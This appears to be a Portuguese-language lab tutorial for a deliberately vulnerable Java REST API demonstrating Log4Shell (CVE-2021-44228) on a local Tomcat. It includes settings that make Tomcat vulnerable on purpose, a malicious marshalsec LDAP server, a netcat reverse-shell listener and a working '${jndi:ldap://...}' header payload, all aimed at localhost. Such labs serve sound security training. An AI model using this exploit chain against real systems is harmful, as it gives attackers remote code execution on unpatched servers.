
Uma API REST baseada em Java vulnerável para demonstrar o CVE-2021-44228 (log4shell).
Uma API REST vulnerável baseada em Java para demonstrar a CVE-2021-44228 (log4shell).
O Log4Shell tomou a internet de assalto no início de dezembro de 2021. Uma vulnerabilidade Zero Day na biblioteca de logging Apache Log4j, capaz de executar código remoto (RCE), que fez organizações ao redor do mundo correrem para corrigir/atualizar/mitigar suas aplicações Java voltadas ao público. Enquanto a comunidade de InfoSec se unia para fornecer análises contínuas e soluções às equipes de segurança, a comunidade Log4j estava ocupada desenvolvendo patches para garantir o fim dessa vulnerabilidade.
Desenvolvi esta simples API REST vulnerável que demonstra o caminho para a Execução Remota de Código (RCE) explorando essa vulnerabilidade usando o servidor de aplicações Apache Tomcat. Espero que esta prova de conceito possa ser usada para treinar suas equipes de SecOps ou educar desenvolvedores de aplicações atuais e futuros. Treine suas equipes e melhore suas defesas, incluindo, mas não se limitando a, regras/alertas de SIEM, EDRs, SOARs.
Para entender o fluxo de trabalho deste ataque, dê uma olhada neste gráfico fornecido pela Equipe de Resposta a Emergências de Computadores do Governo Suíço GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Este tutorial e o código-fonte são fornecidos exclusivamente para fins educacionais e de treinamento. Por favor, use de forma ética e responsável. Este tutorial foi preparado partindo do pressuposto de que o atacante e a aplicação vulnerável estão no mesmo computador. Para uma experiência mais próxima do mundo real, distribua a arquitetura e execute a aplicação vulnerável em seu próprio servidor e use algo como Kali Linux ou outra distribuição para simular o atacante.
Vamos começar.
Depois de ter o Java JDK e o Maven instalados, assumindo que você está em uma distribuição Linux, mude o diretório para o local do seu vuln4japi e construa seu projeto.
Nota: Você pode querer modificar certos componentes do aplicativo antes de construí-lo. Por exemplo, você pode modificar o caminho para os logs do log4j no arquivo log4j2.xml. Ou você pode querer alterar o nome do arquivo war resultante no arquivo pom.xml. É totalmente com você.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Se você não vir nenhum erro de construção, você deve ter um diretório target recém-criado com seu arquivo vuln4japi.war. Ok, voltaremos a este arquivo um pouco mais tarde. Vamos dar uma olhada rápida no Tomcat.
Dependendo da sua versão do Java 8, versões posteriores do 8 podem ter esta configuração específica (com.sun.jndi.ldap.object.trustURLCodebase) definida como false. Isso efetivamente impede o JNDI de carregar um codebase remoto via LDAP. Que é o que esta vulnerabilidade está explorando. Então, precisamos modificar o arquivo catalina.properties do Tomcat para definir esta configuração de sistema como True, tornando o Tomcat intencionalmente vulnerável.
Depois de baixar o apache-tomcat-8.0.32.tar.gz para Linux, descompacte-o em algum lugar como o diretório /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Mude o diretório para /conf e modifique o catalina.properties no final do arquivo.
Nota: Use seu editor de texto preferido. Eu uso vim neste exemplo.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# adicione as seguintes propriedades de sistema bem no final
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Saia do seu editor de texto e inicie o Tomcat usando o script catalina.sh dentro do diretório /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Teste sua instância do Apache Tomcat navegando para http://localhost:8080/ ou com um simples comando cURL a partir da interface de linha de comando.
curl -vv http://localhost:8080/
Se você vir uma página de boas-vindas no seu navegador ou terminal, então deve estar funcionando. Agora podemos implantar nosso Aplicativo Vulnerável.
Copie seu arquivo .war para o diretório /webapps do Tomcat. O Tomcat fará o hotdeploy da sua aplicação em questão de segundos.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Teste seu aplicativo vulnerável navegando para a URL do aplicativo ou novamente usando cURL a partir da linha de comando. No navegador: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Você deve ver a seguinte mensagem exibida, Hi, this is a Vulnerable App!!
Agora que temos alguns componentes funcionando, vamos explorar essa coisa...
O projeto marshalsec é um excelente recurso para entender este tipo de ataque em detalhes. Essencialmente, ele atua como um servidor LDAP malicioso que então redireciona qualquer solicitação para um servidor web malicioso que hospeda o arquivo .class. Recomendo fortemente revisar parte da documentação publicada no repositório Github do mbechler antes de usar o marshalsec: https://github.com/mbechler/marshalsec
Se você decidir pular os detalhes técnicos e a documentação, clone esse repositório e mude o diretório para ele. Agora, antes de construir esse projeto Java, recomendo adicionar uma instrução de depuração de uma linha no arquivo LDAPRefServer.java. Esta instrução de impressão será útil ao capturar a consulta LDAP do servidor vulnerável.
Usando seu editor de texto favorito, edite o seguinte arquivo e adicione a linha conforme mostrado no bloco de código abaixo, no método processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// adicione esta linha para mostrar as informações completas da solicitação
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Depois de modificar o arquivo, salve e saia do seu editor de texto. Agora você deve ser capaz de construir o projeto marshalsec usando Maven. Mude o diretório de volta para a raiz da pasta marshalsec e execute o maven.
mvn clean package -DskipTests
Se não houver erros de construção, você deve ver o diretório /marshalsec/target recém-criado com o arquivo marshalsec-0.0.3-SNAPSHOT-all.jar incluído.
Vamos configurar o restante de nossas ferramentas de atacante antes de executar nosso servidor LDAP malicioso marshalsec.
Mude o diretório para a pasta exploitz e compile o arquivo Exploit.java incluído.
javac Exploit.java
Se você não obtiver nenhum erro, você deve ter um arquivo Exploit.class.
Isso deve ser suficiente. Você deve ter tudo o que precisa compilado e o Servidor Web em execução. Novamente, assumindo que você está executando este teste em um servidor Linux, você abrirá pelo menos 5 janelas de Terminal.
Terminal 1: Execute o marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminal 2: Mude o diretório para a pasta xploitz onde seu Exploit.class está e execute um servidor Python local.
python3 -m http.server 8081
Terminal 3: Acompanhe seu arquivo /tmp/logs/vuln4jpi_log4j.log para monitorar as solicitações feitas ao seu aplicativo vulnerável.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminal 4: Abra um listener netcat na porta 8001. Esta será a conexão de reverse shell do mesmo host, é claro. Lembre-se, estamos fazendo tudo isso no mesmo host. Para uma experiência do mundo real, tente usar 2 ou 3 computadores diferentes.
nc -lv 8001
Terminal 5: Envie seu payload usando um simples comando cURL.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Se tudo funcionar como esperado, você deve ter um shell encaminhado para seu listener netcat na porta 8001. Revise todas as suas janelas de Terminal e observe o comportamento em cada uma delas procurando por erros de digitação ou sintaxe. Há muita coisa acontecendo aqui, então o erro humano está sempre presente. Execute algumas vezes até dominar. Você pode ter que modificar um pouco o código-fonte, mas ei, é assim que aprendemos. ;-)
Espero que você goste de aprender com este projeto tanto quanto eu gostei de montá-lo. Encontre-me no twitter @offswitchsec se tiver algum feedback ou comentário. Aproveite e Boa Hacking!